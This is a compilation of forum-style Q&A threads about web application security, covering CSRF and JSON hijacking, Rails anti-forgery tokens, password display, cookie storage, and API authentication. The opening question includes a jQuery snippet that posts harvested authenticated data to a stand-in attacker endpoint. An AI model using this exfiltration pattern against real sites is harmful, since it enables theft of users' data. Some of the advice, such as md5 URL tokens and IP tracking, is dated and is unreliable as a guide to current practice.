We have a JSON web service that is is used by one of our webpages to show "live" data. To get to the page, the user must be logged in. We are concerned about the ability of malicious sites (competitors) to harvest this data. However, I'm not sure if the problem we are anticipating is plausible.
Once a user is logged in, we store a "remember me" cookie on their machine. If someone were to build a site that made an AJAX request to our web service and convinced a logged in user to visit the site, would they be able to retrieve and store the information from our service? If so, how can we protect ourselves against something like that?
For example:
Could a malicious website build a script like this to get our data:
$.post('their.secret.json', function(response) {
$.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
alert('we saved your stuff!');
}
});
Since they are hitting our JSON feed, wouldn't it send the cookie to our site and the user would be authenticated. Since they would be authenticated, wouldn't it send back the sensitive data?
Absent some as-yet-unpatched browser vulnerability, what you appear to be worried about can not be done.
A script on another domain will not be able to make AJAX requests to your domain. Nor can it load up a page from your domain and 'steal' that information.
What you do need to be concerned with as far as CSRF goes would be destructive actions via GET requests, which of course do not require any scripting at all. And all of this of course assumes that your site is not vulnerable to cross-site scripting (which could permit someone to 'steal' data via someone else's login).
I would think you would be much more likely to have problems with 'legitimate' users who are there to 'mine' your data, though. That's more of a business-level thing, though... aside from assuring proper logging to identify such situations.
If you are afraid that an attacker is able to use the session of a legitimate user to retrieve JSON-objects, you are talking about JSON-hijacking. It depends on the way your JSON-Files are structured, if such an attack is even possible. Look up the term "JSON hijacking" for further information or feel free to leave a comment with more details about your application concerning JSON-objects. If you find out that you are vulnerable, adding a CSRF-Token will help to shut down any JSON hijacking attacks.
You must also make sure that there is not a single Cross-Site Scripting (XSS) vulnerability in your web application. If an attacker can use XSS, it is rather easy for him to harvest data by controlling the browser of a valid user. CSRF-Tokens are useless in such a case.
Related
I had a look at Rails' ActionController::RequestForgeryProtection module and couldn't find anything related to using secrets. Basically, it uses secure PRNG as a one time pad, xors, computes Base64 and embeds into HTML (form, tags). I agree that it is impossible for an attacker to guess what a PRNG generates, but nevertheless I can generate (or forge if you like) a similar token, embed it into my "evil" form and submit. As far as understand Rails compares ( verifies) it on the backend. But I can't fully understand why it is secure. After all, I can generate my own token exactly like Rails does. Could someone clarify how the security is achieved?
You might misunderstand what this protects against, so let's first clarify what CSRF is, and what it is not. Sorry if this is not the point of confusion, might still be helpful for others, and we will get to the point afterwards.
Let's say you have an application that allows you to say transfer money with a POST request (do something that "changes state"), and uses cookie-based sessions. (Note that this is not the only case csrf might be possible, but by far the most common.) This application receives the request and performs the action. As an attacker, I can set up another application on a different domain, and get a user to visit my rogue application. It does not even have to look similar to the real one, it can be completely different, just having a user visit my rogue domain is enough. I as the attacker can then send a post to the victim application's domain, to the exact url with all the necessary parameters so that money gets transferred (the action will be performed). The victim user need not even know if this happens in xhr from javascript - or I can just properly post a form, the user gets redirected, but the harm is done.
This is affected by a few things, but the point is that cross-origin requests are not prevented by the same origin policy, only the response will not be available to the other domain - but in this case when server state changes in the victim application (like money gets transferred), the attacker might not care much about the response itself. All this needs is that the victim user that visits the attacker's page while still being logged in to the victim application. Cookies will be sent with the request regardless of the page the request is sent from, the only thing that counts is the destination domain (well, unless samesite is set for the cookie, but that's a different story).
Ok, so how does Rails (and similar synchronizer token solutions) prevent this? If you lok at lines 318 and 322 in the source, the token received from the user is compared to the one already stored in the session. When a user logs in, a random token is generated and stored for that particular user, for that particular session. Subsequent requests that change state (everything apart from GET) check if the token received from the client is the same that's stored in the session. If you (or an attcker) generate and send a new one, that will be different and the request will fail validation. An attacker on their own website cannot guess the correct token to send, so the attack above becomes impossible. An attacker on a different origin also cannot read the token of a user, because that is prevented by the same origin policy (the attacker can send a GET request to the victim app, but cannot read the response).
So to clarify, CSRF is not a protection against parameter tampering, which might have caused your confusion. In your own requests, if you know the token, you can change the request in any way, send any parameter, the CSRF token does not protect against this. It is against the attack outlined above.
Note that the description above is only scratching the surface, there is a lot of depth to CSRF protection, and Rails too does a little more, with some other frameworks doing a lot more to protect against less likely attacks.
I have most of my MVC 4 web application ready. I have even developed the password auto-generation algorithm. Now I am stuck as to how to show this password to the user.
The controller handling the Sign Up process is the one that will generate the password by calling a method from the PasswordGenerator class. I want to show this to the user in a message box using some jQuery.
I've tried passing it through TempData and ViewBag but the password can be seen in the HTML code sent over the internet. Is there anyway to do this securely without showing the password over the internet?
FYI, sending an email with the password is not an option. This is a class project, not intended for something of that magnitude.
Any help would be appreciated.
For starters, there's nothing special about jQuery, TempData, or ViewBag that's useful to you here. Anything you send over the internet gets, you know, sent over the internet. If an attacker has control of your user's network, then they can intercept a javascript->WebApi call or an email more-or-less as easily as they can intercept an HTML page.
More generally, you should be aware of the trade-offs between security, usability, and development cost. By-and-large there is no such thing as "secure". There are threats you can mitigate and specific attacks you can and should defend against, but there's also a level of risk you can accept depending on the nature of your service.
So, what can we do in this situation:-
The most obvious action to take (and the only one I would truly recommend in your case) is to enable SSL. This secures your transport layer against most snooping with no practical drawbacks. Any time you send sensitive data over the internet, you should use SSL. Some would argue you should use SSL always.
You can mitigate over-the-shoulder-type snooping by hiding the password using javascript, and having the user perform some action to "uncover" it (such as hovering the mouse pointer over a target, or pressing a button). Beware that some of your users may be inexperienced, disabled, or using a mobile device. If I were assessing you, I would care far more that you were "being careful" about accessibility than about hand-rolling your own security hacks!
You can mitigate computer-left-unlocked attacks somewhat by timing out the user's session. You'll see this used frequently with internet banking. Be aware that this also has a usability cost - in particular I would be concerned about timing a user out while they're looking for a pen and a post-it to write down the password you generated for them!
A tangential note:- Storing passwords properly is hard, and storing passwords improperly can be disastrous. Make sure you're doing it correctly! At your level of experience, I would strongly advise against rolling your own password storage system unless your assessor has specifically asked you to. Furthermore, having the server generate passwords for end users to remember is quite controversial. If you haven't been specifically asked for it, you should consider whether it is the right approach and make sure you justify it. For something of this scale, you may want to look into some kind of federated authentication (e.g. "sign in with your google account") instead of handling passwords at all.
ASP.NET MVC Web application where I am wanting to hold on some sensitive information (an account number) while the user navigates from page to page. I currently am using FormsAuthentication and storing it in a custom IPrinciple. I've encrypted the session cookie and set it to be HttpOnly (can't be accessed via client-script only). This seems like a good and secure solution to me.
However, I've been told we probably want zero sensitive information in a cookie for any reason. So an alternative I'm considering is storing the sensitive information in HttpContext.Current.Items. This would require the user to re-log in for each request but that's ok in this case. They should never come to the site directly, but through links from other sites (which posts authentication information, so the user never manually logs in).
Is there any reason not to use HttpContext.Current for this purpose?
I have to implement a web site (MVC4/Single Page Application + knockout + Web.API) and I've been reading tons of articles and forums but I still can't figure out about some points in security/authentication and the way to go forward when securing the login page and the Web.API.
The site will run totally under SSL. Once the user logs on the first time, he/she will get an email with a link to confirm the register process. Password and a “salt” value will be stored encrypted in database, with no possibility to get password decrypted back. The API will be used just for this application.
I have some questions that I need to answer before to go any further:
Which method will be the best for my application in terms of security: Basic/ SimpleMembership? Any other possibilities?
The object Principal/IPrincipal is to be used just with Basic Authentication?
As far as I know, if I use SimpleMembership, because of the use of cookies, is this not breaking the RESTful paradigm? So if I build a REST Web.API, shouldn't I avoid to use SimpleMembership?
I was checking ThinkTecture.IdentityModel, with tokens. Is this a type of authentication like Basic, or Forms, or Auth, or it's something that can be added to the other authentication types?
Thank you.
Most likely this question will be closed as too localized. Even then, I will put in a few pointers. This is not an answer, but the comments section would be too small for this.
What method and how you authenticate is totally up to your subsystem. There is no one way that will work the best for everyone. A SPA is no different that any other application. You still will be giving access to certain resources based on authentication. That could be APIs, with a custom Authorization attribute, could be a header value, token based, who knows! Whatever you think is best.
I suggest you read more on this to understand how this works.
Use of cookies in no way states that it breaks REST. You will find ton of articles on this specific item itself. Cookies will be passed with your request, just the way you pass any specific information that the server needs in order for it to give you data. If sending cookies breaks REST, then sending parameters to your API should break REST too!
Now, a very common approach (and by no means the ONE AND ALL approach), is the use of a token based system for SPA. The reason though many, the easiest to explain would be that, your services (Web API or whatever) could be hosted separately and your client is working as CORS client. In which case, you authenticate in whatever form you choose, create a secure token and send it back to the client and every resource that needs an authenticated user, is checked against the token. The token will be sent as part of your header with every request. No token would result in a simple 401 (Unauthorized) or a invalid token could result in a 403 (Forbidden).
No one says an SPA needs to be all static HTML, with data binding, it could as well be your MVC site returning partials being loaded (something I have done in the past). As far as working with just HTML and JS (Durandal specifically), there are ways to secure even the client app. Ultimately, lock down the data from the server and route the client to the login screen the moment you receive a 401/403.
If your concern is more in the terms of XSS or request forging, there are ways to prevent that even with just HTML and JS (though not as easy as dropping anti-forgery token with MVC).
My two cents.
If you do "direct" authentication - meaning you can validate the passwords directly - you can use Basic Authentication.
I wrote about it here:
http://leastprivilege.com/2013/04/22/web-api-security-basic-authentication-with-thinktecture-identitymodel-authenticationhandler/
In addition you can consider using session tokens to get rid of the password on the client:
http://leastprivilege.com/2012/06/19/session-token-support-for-asp-net-web-api/
Scenario:
Upon starting a session on my site, I generate a rand token that is shown to the user that once. Say they “store” it away for later use.
I then, INSERT the md5(token) into SQL with timestamp.
When the user visits other pages like login, they would have to pass the token via URL as part of the validation process. I would check to see if the token exist and maybe UPDATE userid to this token.
So. Even if someone steals a user’s PHPSESSID cookie, wouldn’t it do ANY good to the hacker since they can’t access any of these pages without knowing the token?
You are right that they won't be able to access the pages without the token, but as an added point, sometimes I'd like to use IP tracking or browser tracking used concurrently as well.
The rationale being that even if someone gets a PHPSESSID cookie and the token, he would have to be coming from the same IP source as well as use the same browser. Then again these are just means of security by obscurity.
I recommend if you are really concerned about security, you can try looking at using a HTTPS connection. Hope it helped. Cheers!